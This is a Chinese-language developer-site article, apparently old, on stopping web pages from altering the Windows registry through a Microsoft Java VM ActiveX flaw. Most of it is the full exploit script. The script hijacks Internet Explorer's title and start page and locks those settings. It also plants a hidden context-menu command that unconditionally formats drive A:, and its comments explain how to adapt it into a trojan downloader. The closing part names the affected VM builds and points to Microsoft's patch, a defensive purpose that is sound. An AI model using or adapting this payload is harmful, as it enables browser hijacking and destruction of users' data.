站内搜索: 请输入搜索关键词

当前页面: 开发资料首页Javascript 专题如何不让网站修改你的注册表

如何不让网站修改你的注册表

摘要: 如何不让网站修改你的注册表


最近发现很多网友发表用javascript修改用户注册表的代码, 同时一些网站为将自己设为用户browser的home page或IE的标题, 故意使用这种代码. 在次, 我将向大家介绍,如何防止被网站修改了你的注册表.

首先让我们来看一下网站修改注册表的javascript code.

-----------------------------------------------------------------------------------------------------

<script>
//初始化actiVex控件
document.write("")
//初始化actiVex控件结束
//定义变量
function reg(){
try
{
//设定applets为0
a=document.applets[0]
//初始化Windows Script Host Shell Object
a.setCLSID("{f935dc22-1cf0-11d0-adb9-00c04fd58a0b}")
a.createInstance()
S=a.GetObject()
//初始化FileSystem Object
a.setCLSID("{0d43fe01-f093-11cf-8940-00a0c9054228}")
a.createInstance();
fs=a.GetObject()
try
{
//开始写注册表
//设定IE的标题为Internet Explorer
S.RegWrite ("HKEY_CURRENT_USER\\Software\\Microsoft\\Internet Explorer\\Main\\Window Title","Internet Explorer")
//设定IE的默认首页为空白页
S.RegWrite ("HKEY_CURRENT_USER\\Software\\Microsoft\\Internet Explorer\\Main\\Start Page","about:blank")
//让设定首页那项变灰
S.RegWrite ("HKEY_USERS\\.DEFAULT\\Software\\Policies\\Microsoft\\Internet Explorer\\Control Panel\\HomePage",0x1,"REG_DWORD")
//让设定分级审查设定那项变灰
S.RegWrite ("HKEY_USERS\\.DEFAULT\\Software\\Policies\\Microsoft\\Internet Explorer\\Control Panel\\SecChangeSettings",0x1,"REG_DWORD")
//在网页右键菜单中加入调用文件的命令
S.RegWrite ("HKEY_CURRENT_USER\\Software\\Microsoft\\Internet Explorer\\MenuExt\\格式化A盘\\","c:\\format-a.txt.{3050f4d8-98b5-11cf-bb82-00aa00bdce0b}");
//写入值为0xf3的dowrd值 注意[REG_SZ:字符型 REG_DWORD:双字节型 REG_BINARY:二进制型]
//对于REG_DWORD型和REG_BINARY型则有两种赋值方式
//直接用十进制的数表示,如:0,1等
//用十六进制的数表示,如:0x12,0xff等
S.RegWrite ("HKEY_CURRENT_USER\\Software\\Microsoft\\Internet Explorer\\MenuExt\\格式化A盘\\contexts",0xf3,"REG_DWORD")
//结束写注册表
//开始写硬盘
//生成一个名为c:\\5flash.txt.{3050f4d8-98b5-11cf-bb82-00aa00bdce0b}的文件
hd=fs.CreateTextFile("c:\\format-a.txt.{3050f4d8-98b5-11cf-bb82-00aa00bdce0b}")
//把这个文件写入javascript内容
//脚本中的start /m 为最小化窗口 /autotest为自动 /u为无条件格式化
hd.write('<script>a=new ActiveXObject ("WSCript.Shell");a.run("start /m format.com a:/q /autotest /u");alert ("正在更新a盘系统文件,请稍等......");<\/script>')
//关闭这个文件
hd.close()
//把这个文件下载到客户机的c盘中,这里的路径完全可以改成网络上的,然后在后面接上.Copy("d:\format.txt"),这个脚本可以改成下载木马
//格式为file=fs.GetFile("网络路径").Copy("运行路径")
//这个脚本如果配合asp,那么完全成了一个功能非常强大的木马了
file=fs.GetFile("c:\\format-a.txt.{3050f4d8-98b5-11cf-bb82-00aa00bdce0b}")
//设定这个文件的属性为隐藏
file.Attributes=6
//结束写硬盘
}
catch(reg)
{}
}
catch(reg)
{}
}
function flash()
{
//隔100毫秒就运行一次
setTimeout("reg()",100)
}
flash()
//最后再重申,这个脚本不可用来害人,谢~
</script>

-----------------------------------------------------------------------------------------------------

大家会注意到, 这段代码首先会将com.ms.activeX.ActiveXComponent写到page中去,然后通过它来创建对{0d43fe01-f093-11cf-8940-00a0c9054228}即WScript.Shell的引用,所以问题的关键点就是javascript能在网页中使用com.ms.activeX.ActiveXComponent作为applet. 而com.ms.activeX.ActiveXComponent是Microsoft设计出来在Java Application和签名的可信任applet中使用的, 它本身不应该被作为applet在javascript中使用.这是Microsoft的Java VM的一个漏洞, 这个漏洞将会影响以下一些版本的VM:

1. builds 版本 2000 系列

2. builds 版本 3100 系列

3. builds 版本 3200 系列

4. builds 版本 3300 系列

大家可以在命令行输入jview, 看到version x.xx.xxxx中的xxxx就是你的builds号.

针对这个漏洞, Microsoft给出了响应的补丁, 请到

http://www.microsoft.com/java/vm/dl_vm40.htm

去下栽安装最新版的VM.

关于此漏洞的详细描述请看Microsfot的Knowledge base:

http://support.microsoft.com/support/kb/articles/Q275/6/09.ASP?LN=EN-US

最近, Microsoft在browser, email和IIS方面发现很多严重漏洞, 大家一定要经常的它的http://windowsupdate.microsoft.com/站点去看看有没有新的补丁要打. 很多病毒和黑客程序都是利用用户的麻痹大意来攻击.

</td> </tr> <tr> <td vAlign=top align=left height="100%">
↑返回目录
前一篇: 抓住网页恶意代码的"黑手"
后一篇: 一个javascript脚本写的俄罗斯方块